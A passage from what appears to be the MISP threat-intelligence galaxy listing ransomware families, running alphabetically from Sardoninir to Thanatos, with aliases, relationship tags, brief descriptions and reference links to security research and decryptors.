http://id-ransomware.blogspot.com/2017/03/sanctions-2017-ransomware.html

Sardoninir

Ransomware

The tag is: *misp-galaxy:ransomware="Sardoninir"*

Table 6256. Table References

Links
https://twitter.com/BleepinComputer/status/835955409953357825

Satana

Ransomware

The tag is: *misp-galaxy:ransomware="Satana"*

View relationships graph

Satana has relationships with:

- similar: misp-galaxy:malpedia="Satana" with estimative-language:likelihood-probability="likely"

Table 6257. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2016/06/satana-ransomware/
https://blog.kaspersky.com/satana-ransomware/12558/
https://id-ransomware.blogspot.com/2016/06/satana-ransomware-0.html

Scraper

Ransomware

The tag is: *misp-galaxy:ransomware="Scraper"*

Table 6258. Table References

Links
http://securelist.com/blog/research/69481/a-flawed-ransomware-encryptor/

Serpico

Ransomware DetoxCrypto Variant

The tag is: *misp-galaxy:ransomware="Serpico"*

View relationships graph

Serpico has relationships with:

- similar: misp-galaxy:malpedia="Serpico" with estimative-language:likelihood-probability="likely"

Table 6259. Table References

Links
http://www.nyxbone.com/malware/Serpico.html
http://id-ransomware.blogspot.com/2016/08/serpico-ransomware.html

Shark

Ransomware

The tag is: *misp-galaxy:ransomware="Shark"*

Shark is also known as:

- Atom

View relationships graph

Shark has relationships with:

- similar: misp-galaxy:rat="SharK" with estimative-language:likelihood-probability="likely"

Table 6260. Table References

Links

http://www.bleepingcomputer.com/news/security/the-shark-ransomware-project-allows-to-create-your-own-customized-ransomware/
http://www.bleepingcomputer.com/news/security/shark-ransomware-rebrands-as-atom-for-a-fresh-start/

ShinoLocker

Ransomware

The tag is: *misp-galaxy:ransomware="ShinoLocker"*

Table 6261. Table References

Links
https://twitter.com/JakubKroustek/status/760560147131408384
http://www.bleepingcomputer.com/news/security/new-educational-shinolocker-ransomware-project-released/
https://id-ransomware.blogspot.com/2016/08/shinolocker-ransomware.html

Shujin

Ransomware

The tag is: *misp-galaxy:ransomware="Shujin"*

Shujin is also known as:

- KinCrypt

View relationships graph

Shujin has relationships with:

- similar: misp-galaxy:malpedia="Shujin" with estimative-language:likelihood-probability="likely"

Table 6262. Table References

Links
http://www.nyxbone.com/malware/chineseRansom.html
http://blog.trendmicro.com/trendlabs-security-intelligence/chinese-language-ransomware-makes-appearance/
http://id-ransomware.blogspot.com/2016/05/chinese-ransomware.html

Simple_Encoder

Ransomware

The tag is: *misp-galaxy:ransomware="Simple_Encoder"*

Simple_Encoder is also known as:

- Tilde

Table 6263. Table References

Links
http://www.bleepingcomputer.com/news/security/the-shark-ransomware-project-allows-to-create-your-own-customized-ransomware/
https://id-ransomware.blogspot.com/2016/07/tilde-ransomware-aes-08.html

SkidLocker

Ransomware Based on EDA2

The tag is: *misp-galaxy:ransomware="SkidLocker"*

SkidLocker is also known as:

- Pompous

Table 6264. Table References

Links
http://www.bleepingcomputer.com/news/security/pompous-ransomware-dev-gets-defeated-by-backdoor/
http://www.nyxbone.com/malware/SkidLocker.html
http://id-ransomware.blogspot.com/2016/04/pompous-ransomware.html

Smash!

Ransomware

The tag is: *misp-galaxy:ransomware="Smash!"*

Table 6265. Table References

Links
https://www.bleepingcomputer.com/news/security/smash-ransomware-is-cute-rather-than-dangerous/

Smrss32

Ransomware

The tag is: *misp-galaxy:ransomware="Smrss32"*

Table 6266. Table References

Links
http://id-ransomware.blogspot.com/2016/08/smrss32-ransomware.html

SNSLocker

Ransomware Based on EDA2

The tag is: *misp-galaxy:ransomware="SNSLocker"*

Table 6267. Table References

Links
http://nyxbone.com/malware/SNSLocker.html
http://nyxbone.com/images/articulos/malware/snslocker/16.png
http://id-ransomware.blogspot.com/2016/05/sns-locker-ransomware-aes-256-066.html

Sport

Ransomware

The tag is: *misp-galaxy:ransomware="Sport"*

Stampado

Ransomware Coded by "The_Rainmaker" Randomly deletes a file every 6hrs up to 96hrs then deletes decryption key

The tag is: *misp-galaxy:ransomware="Stampado"*

Table 6268. Table References

Links
https://success.trendmicro.com/portal_kb_articledetail?solutionid=1114221
http://www.bleepingcomputer.com/news/security/stampado-ransomware-campaign-decrypted-before-it-started/
https://decrypter.emsisoft.com/stampado
https://cdn.streamable.com/video/mp4/kfh3.mp4
http://blog.trendmicro.com/trendlabs-security-intelligence/the-economics-behind-ransomware-prices/
https://id-ransomware.blogspot.com/2016/07/stampado-ransomware-1.html

Strictor

Ransomware Based on EDA2, shows Guy Fawkes mask

The tag is: *misp-galaxy:ransomware="Strictor"*

Table 6269. Table References

Links
http://www.nyxbone.com/malware/Strictor.html

Surprise

Ransomware Based on EDA2

The tag is: *misp-galaxy:ransomware="Surprise"*

Table 6270. Table References

Links
http://id-ransomware.blogspot.com/2016/05/surprise-ransomware-aes-256.html

Survey

Ransomware Still in development, shows FileIce survey

The tag is: *misp-galaxy:ransomware="Survey"*

Table 6271. Table References

Links
http://www.bleepingcomputer.com/news/security/in-dev-ransomware-forces-you-do-to-survey-before-unlocking-computer/

SynoLocker

Ransomware Exploited Synology NAS firmware directly over WAN

The tag is: *misp-galaxy:ransomware="SynoLocker"*

SZFLocker

Ransomware

The tag is: *misp-galaxy:ransomware="SZFLocker"*

Table 6272. Table References

Links

http://now.avg.com/dont-pay-the-ransom-avg-releases-six-free-decryption-tools-to-retrieve-your-files/
https://id-ransomware.blogspot.com/2016/06/szflocker-polish-ransomware-email.html

TeamXrat

Ransomware

The tag is: *misp-galaxy:ransomware="TeamXrat"*

Table 6273. Table References

Links
https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/

TeslaCrypt 0.x - 2.2.0

Ransomware Factorization

The tag is: *misp-galaxy:ransomware="TeslaCrypt 0.x - 2.2.0"*

TeslaCrypt 0.x - 2.2.0 is also known as:

- AlphaCrypt

Table 6274. Table References

Links
http://www.bleepingcomputer.com/forums/t/576600/tesladecoder-released-to-decrypt-exx-ezz-ecc-files-encrypted-by-teslacrypt/
http://www.talosintel.com/teslacrypt_tool/

TeslaCrypt 3.0+

Ransomware 4.0+ has no extension

The tag is: *misp-galaxy:ransomware="TeslaCrypt 3.0+"*

Table 6275. Table References

Links
http://www.bleepingcomputer.com/forums/t/576600/tesladecoder-released-to-decrypt-exx-ezz-ecc-files-encrypted-by-teslacrypt/
http://www.welivesecurity.com/2016/05/18/eset-releases-decryptor-recent-variants-teslacrypt-ransomware/
https://blog.kaspersky.com/raknidecryptor-vs-teslacrypt/12169/

TeslaCrypt 4.1A

Ransomware

The tag is: *misp-galaxy:ransomware="TeslaCrypt 4.1A"*

Table 6276. Table References

Links
http://www.bleepingcomputer.com/forums/t/576600/tesladecoder-released-to-decrypt-exx-ezz-ecc-files-encrypted-by-teslacrypt/
http://www.welivesecurity.com/2016/05/18/eset-releases-decryptor-recent-variants-teslacrypt-ransomware/
https://blog.kaspersky.com/raknidecryptor-vs-teslacrypt/12169/
https://www.endgame.com/blog/your-package-has-been-successfully-encrypted-teslacrypt-41a-and-malware-attack-chain

TeslaCrypt 4.2

Ransomware

The tag is: *misp-galaxy:ransomware="TeslaCrypt 4.2"*

Table 6277. Table References

Links
http://www.bleepingcomputer.com/forums/t/576600/tesladecoder-released-to-decrypt-exx-ezz-ecc-files-encrypted-by-teslacrypt/
http://www.welivesecurity.com/2016/05/18/eset-releases-decryptor-recent-variants-teslacrypt-ransomware/
https://blog.kaspersky.com/raknidecryptor-vs-teslacrypt/12169/
http://www.bleepingcomputer.com/news/security/teslacrypt-4-2-released-with-quite-a-few-modifications/

Threat Finder

Ransomware Files cannot be decrypted Has a GUI

The tag is: *misp-galaxy:ransomware="Threat Finder"*

TorrentLocker

Ransomware Newer variants not decryptable. Only first 2 MB are encrypted

The tag is: *misp-galaxy:ransomware="TorrentLocker"*

TorrentLocker is also known as:

- Crypt0L0cker
- CryptoFortress
- Teerac

View relationships graph

TorrentLocker has relationships with:

- similar: misp-galaxy:ransomware="CryptoFortress" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="CryptoFortress" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="TorrentLocker" with estimative-language:likelihood-probability="likely"

Table 6278. Table References

Links
http://www.bleepingcomputer.com/forums/t/547708/torrentlocker-ransomware-cracked-and-decrypter-has-been-made/
https://twitter.com/PolarToffee/status/804008236600934403
http://blog.talosintelligence.com/2017/03/crypt0l0cker-torrentlocker-old-dog-new.html
http://id-ransomware.blogspot.ru/2016/05/torrentlocker-ransomware-aes-cbc-2048.html

TowerWeb

Ransomware

The tag is: *misp-galaxy:ransomware="TowerWeb"*

Table 6279. Table References

Links
http://www.bleepingcomputer.com/forums/t/618055/towerweb-ransomware-help-support-topic-payment-instructionsjpg/
https://id-ransomware.blogspot.com/2016/06/towerweb-ransonware-100.html

Toxcrypt

Ransomware

The tag is: *misp-galaxy:ransomware="Toxcrypt"*

Table 6280. Table References

Links
https://id-ransomware.blogspot.com/2016/06/toxcrypt-ransomware-aes-crypto-0.html

Trojan

Ransomware

The tag is: *misp-galaxy:ransomware="Trojan"*

Trojan is also known as:

- BrainCrypt

Table 6281. Table References

Links
https://download.bleepingcomputer.com/demonslay335/BrainCryptDecrypter.zip
https://twitter.com/PolarToffee/status/811249250285842432
http://id-ransomware.blogspot.com/2016/12/braincrypt-ransomware.html

Troldesh orShade, XTBL

Ransomware May download additional malware after encryption

The tag is: *misp-galaxy:ransomware="Troldesh orShade, XTBL"*

Troldesh orShade, XTBL is also known as:

- Shade
- Troldesh

Table 6282. Table References

Links
https://www.nomoreransom.org/uploads/ShadeDecryptor_how-to_guide.pdf
http://www.nyxbone.com/malware/Troldesh.html
https://www.bleepingcomputer.com/news/security/kelihos-botnet-delivering-shade-troldesh-ransomware-with-no-more-ransom-extension/
https://id-ransomware.blogspot.com/2016/06/troldesh-ransomware-email.html

TrueCrypter

Ransomware

The tag is: *misp-galaxy:ransomware="TrueCrypter"*

Table 6283. Table References

Links
http://www.bleepingcomputer.com/news/security/truecrypter-ransomware-accepts-payment-in-bitcoins-or-amazon-gift-card/
http://id-ransomware.blogspot.com/2016/04/truecrypter-ransomware.html

Turkish

Ransomware

The tag is: *misp-galaxy:ransomware="Turkish"*

Table 6284. Table References

Links
https://twitter.com/struppigel/status/821991600637313024

Turkish Ransom

Ransomware

The tag is: *misp-galaxy:ransomware="Turkish Ransom"*

Table 6285. Table References

Links
http://www.nyxbone.com/malware/turkishRansom.html

UmbreCrypt

Ransomware CrypBoss Family

The tag is: *misp-galaxy:ransomware="UmbreCrypt"*

Table 6286. Table References

Links
http://www.thewindowsclub.com/emsisoft-decrypter-hydracrypt-umbrecrypt-ransomware
https://id-ransomware.blogspot.com/2016/06/umbrecrypt-ransomware-aes.html

UnblockUPC

Ransomware

The tag is: *misp-galaxy:ransomware="UnblockUPC"*

Table 6287. Table References

Links
https://www.bleepingcomputer.com/forums/t/627582/unblockupc-ransomware-help-support-topic-files-encryptedtxt/
http://id-ransomware.blogspot.com/2016/09/unblockupc-ransomware.html

Ungluk

Ransomware Ransom note instructs to use Bitmessage to get in contact with attacker - Secretishere.key - SECRETISHIDINGHEREINSIDE.KEY - secret.key

The tag is: *misp-galaxy:ransomware="Ungluk"*

Table 6288. Table References

Links
http://id-ransomware.blogspot.com/2016/05/bitmessage-ransomware-aes-256-25-btc.html

Unlock92

Ransomware

The tag is: *misp-galaxy:ransomware="Unlock92 "*

Table 6289. Table References

Links
https://twitter.com/malwrhunterteam/status/839038399944224768
http://id-ransomware.blogspot.com/2017/02/unlock26-ransomware.html

VapeLauncher

Ransomware CryptoWire variant

The tag is: *misp-galaxy:ransomware="VapeLauncher"*

Table 6290. Table References

Links
https://twitter.com/struppigel/status/839771195830648833

VaultCrypt

Ransomware

The tag is: *misp-galaxy:ransomware="VaultCrypt"*

VaultCrypt is also known as:

- CrypVault
- Zlader

View relationships graph

VaultCrypt has relationships with:

- similar: misp-galaxy:ransomware="Zlader" with estimative-language:likelihood-probability="likely"

Table 6291. Table References

Links
http://www.nyxbone.com/malware/russianRansom.html

VBRANSOM 7

Ransomware

The tag is: *misp-galaxy:ransomware="VBRANSOM 7"*

Table 6292. Table References

Links
https://twitter.com/BleepinComputer/status/817851339078336513

VenusLocker

Ransomware Based on EDA2

The tag is: *misp-galaxy:ransomware="VenusLocker"*

Table 6293. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2016/08/venus-locker-another-net-ransomware/?utm_source=twitter&utm_medium=social
http://www.nyxbone.com/malware/venusLocker.html
https://id-ransomware.blogspot.com/2016/08/venuslocker-ransomware-aes-256.html

Virlock

Ransomware Polymorphism / Self-replication

The tag is: *misp-galaxy:ransomware="Virlock"*

Virlock is also known as:

- NSMF

Table 6294. Table References

Links
http://www.nyxbone.com/malware/Virlock.html
http://www.welivesecurity.com/2014/12/22/win32virlock-first-self-reproducing-ransomware-also-shape-shifter/

Virus-Encoder

Ransomware

The tag is: *misp-galaxy:ransomware="Virus-Encoder"*

Virus-Encoder is also known as:

- CrySiS

Table 6295. Table References

Links
http://www.welivesecurity.com/2016/11/24/new-decryption-tool-crysis-ransomware/
http://media.kaspersky.com/utilities/VirusUtilities/EN/rakhnidecryptor.zip
http://www.nyxbone.com/malware/virus-encoder.html
http://blog.trendmicro.com/trendlabs-security-intelligence/crysis-targeting-businesses-in-australia-new-zealand-via-brute-forced-rdps/

WildFire Locker

Ransomware Zyklon variant

The tag is: *misp-galaxy:ransomware="WildFire Locker"*

WildFire Locker is also known as:

- Hades Locker

View relationships graph

WildFire Locker has relationships with:

- similar: misp-galaxy:ransomware="Hades" with estimative-language:likelihood-probability="likely"

Table 6296. Table References

Links

https://labs.opendns.com/2016/07/13/wildfire-ransomware-gaining-momentum/
https://id-ransomware.blogspot.com/2016/06/wildfire-locker-ransomware-aes-256-cbc.html

Xorist

Ransomware encrypted files will still have the original non-encrypted header of 0x33 bytes length

The tag is: *misp-galaxy:ransomware="Xorist"*

Table 6297. Table References

Links
https://support.kaspersky.com/viruses/disinfection/2911
https://decrypter.emsisoft.com/xorist
https://twitter.com/siri_urz/status/1006833669447839745
https://id-ransomware.blogspot.com/2016/06/xrtn-ransomware-rsa-1024-gnu-privacy.html

XRTN

Ransomware VaultCrypt family

The tag is: *misp-galaxy:ransomware="XRTN "*

You Have Been Hacked!!!

Ransomware Attempt to steal passwords

The tag is: *misp-galaxy:ransomware="You Have Been Hacked!!!"*

Table 6298. Table References

Links
https://twitter.com/malwrhunterteam/status/808280549802418181

Zcrypt

Ransomware

The tag is: *misp-galaxy:ransomware="Zcrypt"*

Zcrypt is also known as:

- Zcryptor

Table 6299. Table References

Links

https://blogs.technet.microsoft.com/mmpc/2016/05/26/link-lnk-to-ransom/
http://id-ransomware.blogspot.com/2016/05/zcrypt-ransomware-rsa-2048-email.html

Zimbra

Ransomware mpritsken@priest.com

The tag is: *misp-galaxy:ransomware="Zimbra"*

Table 6300. Table References

Links
http://www.bleepingcomputer.com/forums/t/617874/zimbra-ransomware-written-in-python-help-and-support-topic-crypto-howtotxt/
https://id-ransomware.blogspot.com/2016/06/zimbra-ransomware-aes-optzimbrastore.html

Zlader

Ransomware VaultCrypt family

The tag is: *misp-galaxy:ransomware="Zlader"*

Zlader is also known as:

- Russian
- VaultCrypt
- CrypVault

View relationships graph

Zlader has relationships with:

- similar: misp-galaxy:ransomware="VaultCrypt" with estimative-language:likelihood-probability="likely"

Table 6301. Table References

Links
http://www.nyxbone.com/malware/russianRansom.html

Zorro

Ransomware

The tag is: *misp-galaxy:ransomware="Zorro"*

Table 6302. Table References

Links
https://twitter.com/BleepinComputer/status/844538370323812353
http://id-ransomware.blogspot.com/2017/03/zorro-ransomware.html

Zyklon

Ransomware Hidden Tear family, GNL Locker variant

The tag is: *misp-galaxy:ransomware="Zyklon"*

Zyklon is also known as:

- GNL Locker
- Zyklon Locker

View relationships graph

Zyklon has relationships with:

- similar: misp-galaxy:ransomware="GNL Locker" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Zyklon" with estimative-language:likelihood-probability="likely"

Table 6303. Table References

Links
http://id-ransomware.blogspot.com/2016/05/zyklon-locker-ransomware-windows-250.html

vxLock

Ransomware

The tag is: *misp-galaxy:ransomware="vxLock"*

Table 6304. Table References

Links
https://id-ransomware.blogspot.com/2017/01/vxlock-ransomware.html

Jaff

We recently observed several large scale email campaigns that were attempting to distribute a new variant of ransomware that has been dubbed "Jaff". Interestingly we identified several characteristics that we have previously observed being used during Dridex and Locky campaigns. In a short period of time, we observed multiple campaigns featuring high volumes of malicious spam emails being distributed, each using a PDF attachment with an embedded Microsoft Word document functioning as the initial downloader for the Jaff ransomware.

The tag is: *misp-galaxy:ransomware="Jaff"*

View relationships graph

Jaff has relationships with:

- similar: misp-galaxy:malpedia="Jaff" with estimative-language:likelihood-probability="likely"

Table 6305. Table References

Links
http://blog.talosintelligence.com/2017/05/jaff-ransomware.html
https://www.bleepingcomputer.com/news/security/jaff-ransomware-distributed-via-necurs-malspam-and-asking-for-a-3-700-ransom/
http://id-ransomware.blogspot.com/2017/05/jaff-ransomware.html

Uiwix Ransomware

Using EternalBlue SMB Exploit To Infect Victims

The tag is: *misp-galaxy:ransomware="Uiwix Ransomware"*

Uiwix Ransomware is also known as:

- UIWIX

Table 6306. Table References

Links
https://www.bleepingcomputer.com/news/security/uiwix-ransomware-using-eternalblue-smb-exploit-to-infect-victims/
http://id-ransomware.blogspot.com/2017/05/uiwix-ransomware.html

SOREBRECT

Fileless, Code-injecting Ransomware

The tag is: *misp-galaxy:ransomware="SOREBRECT"*

Table 6307. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-fileless-code-injecting-sorebrect-ransomware/

Cyron

claims it detected "Children Pornsites" in your browser history

The tag is: *misp-galaxy:ransomware="Cyron"*

Table 6308. Table References

Links
https://twitter.com/struppigel/status/899524853426008064
https://id-ransomware.blogspot.com/2017/08/cyron-ransomware.html

Kappa

Made with OXAR builder; decryptable

The tag is: *misp-galaxy:ransomware="Kappa"*

Table 6309. Table References

Links
https://twitter.com/struppigel/status/899528477824700416

Trojan Dz

CyberSplitter variant

The tag is: *misp-galaxy:ransomware="Trojan Dz"*

Table 6310. Table References

Links
https://twitter.com/struppigel/status/899537940539478016

Xolzsec

ransomware written by self proclaimed script kiddies that should really be considered trollware

The tag is: *misp-galaxy:ransomware="Xolzsec"*

Table 6311. Table References

Links
https://twitter.com/struppigel/status/899916577252028416
http://id-ransomware.blogspot.com/2017/08/xolzsec-ransomware.html

FlatChestWare

HiddenTear variant; decryptable

The tag is: *misp-galaxy:ransomware="FlatChestWare"*

Table 6312. Table References

Links
https://twitter.com/struppigel/status/900238572409823232
https://id-ransomware.blogspot.com/2017/08/flatchestware-ransomware.html

SynAck

The ransomware does not use a customized desktop wallpaper to signal its presence, and the only way to discover that SynAck has infected your PC is by the ransom notes dropped on the user's desktop, named in the format: RESTORE_INFO-[id].txt. For example: RESTORE_INFO-4ABFA0EF.txt In addition, SynAck also appends its own extension at the end of all files it encrypted. This file extensions format is ten random alpha characters for each file. For example: test.jpg.XbMiJQiuoh. Experts believe the group behind SynAck uses RDP brute-force attacks to access remote computers and manually download and install the ransomware.

The tag is: *misp-galaxy:ransomware="SynAck"*

SynAck is also known as:

- Syn Ack

View relationships graph

SynAck has relationships with:

- similar: misp-galaxy:malpedia="SynAck" with estimative-language:likelihood-probability="likely"

Table 6313. Table References

Links
https://www.bleepingcomputer.com/news/security/synack-ransomware-sees-huge-spike-in-activity/
https://www.bleepingcomputer.com/news/security/synack-ransomware-uses-process-doppelg-nging-technique/
https://id-ransomware.blogspot.com/2017/09/synack-ransomware.html

SyncCrypt

A new ransomware called SyncCrypt was discovered by Emsisoft security researcher xXToffeeXx that is being distributed by spam attachments containing WSF files. When installed these attachments will encrypt a computer and append the .kk extension to encrypted files.

The tag is: *misp-galaxy:ransomware="SyncCrypt"*

View relationships graph

SyncCrypt has relationships with:

- similar: misp-galaxy:malpedia="SyncCrypt" with estimative-language:likelihood-probability="likely"

Table 6314. Table References

Links
https://www.bleepingcomputer.com/news/security/synccrypt-ransomware-hides-inside-jpg-files-appends-kk-extension/
http://id-ransomware.blogspot.com/2017/08/synccrypt-ransomware.html

Bad Rabbit

On October 24, 2017, Cisco Talos was alerted to a widescale ransomware campaign affecting organizations across eastern Europe and Russia. As was the case in previous situations, we quickly mobilized to assess the situation and ensure that customers remain protected from this and other threats as they emerge across the threat landscape. There have been several large scale ransomware campaigns over the last several months. This appears to have some similarities to Nyetya in that it is also based on Petya ransomware. Major portions of the code appear to have been rewritten. The distribution does not appear to have the sophistication of the supply chain attacks we have seen recently.

The tag is: *misp-galaxy:ransomware="Bad Rabbit"*

Bad Rabbit is also known as:

- BadRabbit
- Bad-Rabbit

View relationships graph

Bad Rabbit has relationships with:

- similar: misp-galaxy:malpedia="EternalPetya" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="NotPetya" with estimative-language:likelihood-probability="likely"

Table 6315. Table References

Links
http://blog.talosintelligence.com/2017/10/bad-rabbit.html
https://id-ransomware.blogspot.com/2017/10/badrabbit-ransomware.html
https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/

https://securelist.com/bad-rabbit-ransomware/82851/
http://www.intezer.com/notpetya-returns-bad-rabbit/

Halloware

A malware author by the name of Luc1F3R is peddling a new ransomware strain called Halloware for the lowly price of $40. Based on evidence gathered by Bleeping Computer, Luc1F3R started selling his ransomware this week, beginning Thursday.

The tag is: *misp-galaxy:ransomware="Halloware"*

Table 6316. Table References

Links
https://www.bleepingcomputer.com/news/security/halloware-ransomware-on-sale-on-the-dark-web-for-only-40/
http://id-ransomware.blogspot.com/2017/11/halloware-ransomware.html

StorageCrypt

Recently BleepingComputer has received a flurry of support requests for a new ransomware being named StorageCrypt that is targeting NAS devices such as the Western Digital My Cloud. Victims have been reporting that their files have been encrypted and a note left with a ransom demand of between .4 and 2 bitcoins to get their files back. User's have also reported that each share on their NAS device contains a Autorun.inf file and a Windows executable named □□□□□.exe, which translates to Beauty and the beast. From the samples BleepingComputer has received, this Autorun.inf is an attempt to spread the □□□□□.exe file to other computers that open the folders on the NAS devices.

The tag is: *misp-galaxy:ransomware="StorageCrypt"*

Table 6317. Table References

Links
https://www.bleepingcomputer.com/news/security/storagecrypt-ransomware-infecting-nas-devices-using-sambacry/
https://id-ransomware.blogspot.com/2017/11/storagecrypter.html

HC7

A new ransomware called HC7 is infecting victims by hacking into Windows computers that are running publicly accessible Remote Desktop services. Once the developers gain access to the hacked computer, the HC7 ransomware is then installed on all accessible computers on the network. Originally released as HC6, victims began posting about it in the BleepingComputer forums towards the end of November. As this is a Python-to-exe executable, once the script was extracted ID Ransomware creator Michael Gillespie was able determine that it was decryptable and released a decryptor. Unfortunately, a few days later, the ransomware developers released a new version called HC7 that was not decryptable. Thi sis because they removed the hard coded encryption key and instead switched to inputting the key as a command line argument when the attackers run the ransomware executable. Thankfully, there may be a way to get around that as well so that victims can recover their keys.

The tag is: *misp-galaxy:ransomware="HC7"*

Table 6318. Table References

Links
https://www.bleepingcomputer.com/news/security/hc7-gotya-ransomware-installed-via-remote-desktop-services-spread-with-psexec/
https://id-ransomware.blogspot.com/2017/12/hc7-ransomware.html

HC6

Predecessor of HC7

The tag is: *misp-galaxy:ransomware="HC6"*

Table 6319. Table References

Links
https://twitter.com/demonslay335/status/935622942737817601?ref_src=twsrc%5Etfw
https://www.bleepingcomputer.com/news/security/hc7-gotya-ransomware-installed-via-remote-desktop-services-spread-with-psexec/
http://id-ransomware.blogspot.com/2017/11/hc6-ransomware.html

qkG

Security researchers have discovered a new ransomware strain named qkG that targets only Office documents for encryption and infects the Word default document template to propagate to new Word documents opened through the same Office suite on the same computer.

The tag is: *misp-galaxy:ransomware="qkG"*

qkG is also known as:

- QkG

Table 6320. Table References

Links
https://www.bleepingcomputer.com/news/security/qkg-ransomware-encrypts-only-word-documents-hides-and-spreads-via-macros/
http://id-ransomware.blogspot.com/2017/11/qkg-ransomware.html

Scarab

The Scarab ransomware is a relatively new ransomware strain that was first spotted by security researcher Michael Gillespie in June this year. Written in Delphi, the first version was simplistic and was recognizable via the ".scarab" extension it appended after the names of encrypted files. Malwarebytes researcher Marcelo Rivera spotted a second version in July that used the ".scorpio" extension. The version spotted with the Necurs spam today has reverted back to using the .scarab extension. The current version of Scarab encrypts files but does not change original file names as previous versions. This Scarab version appends each file’s name with the ".[suupport@protonmail.com].scarab" extension. Scarab also deletes shadow volume copies and drops a ransom note named "IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.TXT" on users' computers, which it opens immediately.

The tag is: *misp-galaxy:ransomware="Scarab"*

Table 6321. Table References

Links
https://www.bleepingcomputer.com/news/security/scarab-ransomware-pushed-via-massive-spam-campaign/
https://labsblog.f-secure.com/2017/11/23/necurs-business-is-booming-in-a-new-partnership-with-scarab-ransomware/
https://blogs.forcepoint.com/security-labs/massive-email-campaign-spreads-scarab-ransomware
https://twitter.com/malwrhunterteam/status/933643147766321152
https://myonlinesecurity.co.uk/necurs-botnet-malspam-delivering-a-new-ransomware-via-fake-scanner-copier-messages/
https://twitter.com/demonslay335/status/1006222754385924096
https://twitter.com/demonslay335/status/1006908267862396928
https://twitter.com/demonslay335/status/1007694117449682945
https://twitter.com/demonslay335/status/1049316344183836672
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-12th-2018-notpetya-gandcrab-and-more/
https://twitter.com/Amigo_A_/status/1039105453735784448
https://twitter.com/GrujaRS/status/1072057088019496960
http://id-ransomware.blogspot.com/2017/06/scarab-ransomware.html

File Spider

A new ransomware called File Spider is being distributed through spam that targets victims in Bosnia and Herzegovina, Serbia, and Croatia. These spam emails contains malicious Word documents that will download and install the File Spider ransomware onto a victims computer.File Spider is currently being distributed through malspam that appears to be targeting countries such as Croatia, Bosnia and Herzegovina, and Serbia. The spam start with subjects like"Potrazivanje dugovanja", which translates to "Debt Collection" and whose message, according to Google Translate, appear to be in Serbian.

The tag is: *misp-galaxy:ransomware="File Spider"*

File Spider is also known as:

- Spider

Table 6322. Table References

Links
https://www.bleepingcomputer.com/news/security/file-spider-ransomware-targeting-the-balkans-with-malspam/
http://id-ransomware.blogspot.com/2017/12/file-spider-ransomware.html

FileCoder

A barely functional piece of macOS ransomware, written in Swift.

The tag is: *misp-galaxy:ransomware="FileCoder"*

FileCoder is also known as:

- FindZip
- Patcher

View relationships graph

FileCoder has relationships with:

- similar: misp-galaxy:ransomware="Patcher" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Patcher" with estimative-language:likelihood-probability="likely"

Table 6323. Table References

Links
https://objective-see.com/blog/blog_0x25.html#FileCoder

MacRansom

A basic piece of macOS ransomware, offered via a 'malware-as-a-service' model.

The tag is: *misp-galaxy:ransomware="MacRansom"*

View relationships graph

MacRansom has relationships with:

- similar: misp-galaxy:malpedia="MacRansom" with estimative-language:likelihood-probability="likely"

Table 6324. Table References

Links
https://objective-see.com/blog/blog_0x25.html

GandCrab

A new ransomware called GandCrab was released towards the end of last week that is currently being distributed via exploit kits. GandCrab has some interesting features not seen before in a ransomware, such as being the first to accept the DASH currency and the first to utilize the Namecoin powered .BIT tld.

The tag is: *misp-galaxy:ransomware="GandCrab"*

View relationships graph

GandCrab has relationships with:

- dropped-by: misp-galaxy:exploit-kit="Fallout" with estimative-language:likelihood-probability="almost-certain"

Table 6325. Table References

Links
https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-distributed-by-exploit-kits-appends-gdcb-extension/
https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-being-distributed-via-malspam-disguised-as-receipts/
https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-version-2-released-with-new-crab-extension-and-other-changes/
https://www.bleepingcomputer.com/news/security/gandcrab-version-3-released-with-autorun-feature-and-desktop-background/
https://www.bleepingcomputer.com/news/security/new-fallout-exploit-kit-drops-gandcrab-ransomware-or-redirects-to-pups/
https://www.bleepingcomputer.com/news/security/gandcrab-v5-ransomware-utilizing-the-alpc-task-scheduler-exploit/
https://id-ransomware.blogspot.com/2018/01/gandcrab-ransomware.html

ShurL0ckr

Security researchers uncovered a new ransomware named ShurL0ckr (detected by Trend Micro as

RANSOM_GOSHIFR.B) that reportedly bypasses detection mechanisms of cloud platforms. Like Cerber and Satan, ShurL0ckr's operators further monetize the ransomware by peddling it as a turnkey service to fellow cybercriminals, allowing them to earn additional income through a commission from each victim who pays the ransom.

The tag is: *misp-galaxy:ransomware="ShurL0ckr"*

Table 6326. Table References

Links
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/shurl0ckr-ransomware-as-a-service-peddled-on-dark-web-can-reportedly-bypass-cloud-applications

Cryakl

ransomware

The tag is: *misp-galaxy:ransomware="Cryakl"*

View relationships graph

Cryakl has relationships with:

- similar: misp-galaxy:ransomware="Offline ransomware" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Cryakl" with estimative-language:likelihood-probability="likely"

Table 6327. Table References

Links
https://sensorstechforum.com/fr/fairytail-files-virus-cryakl-ransomware-remove-restore-data/
https://www.technologynews.tech/cryakl-ransomware-virus
http://www.zdnet.com/article/cryakl-ransomware-decryption-keys-now-available-for-free/

Thanatos

first ransomware seen to ask for payment to be made in Bitcoin Cash (BCH)

The tag is: *misp-galaxy:ransomware="Thanatos"*

View relationships graph

Thanatos has relationships with:

- similar: misp-galaxy:malpedia="Thanatos" with estimative-language:likelihood-probability="likely"

Table 6328. Table References

Links
https://mobile.twitter.com/EclecticIQ/status/968478323889332226
https://www.eclecticiq.com/resources/thanatos—ransomware-first-ransomware-ask-payment-bitcoin-cash?type=intel-report
http://id-ransomware.blogspot.com/2018/02/thanatos-ransomware.html

RSAUtil

